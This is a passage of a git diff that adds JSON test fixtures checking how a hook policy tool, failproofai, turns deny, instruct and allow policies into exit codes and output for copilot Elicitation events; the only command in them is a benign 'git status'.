"event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b413c87b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6e629352 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..6929a83d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..42481f5e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..6e9a4f9b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..020ac0b0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..28fc995e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c35a5a6d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ed77fefa --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..3758ca8c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f49d7748 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..09fa1616 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..24a03848 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..65db8db4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..df7410b8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..390c7c23 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f86bf77a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..bc41a9b3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a02cfb55 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + 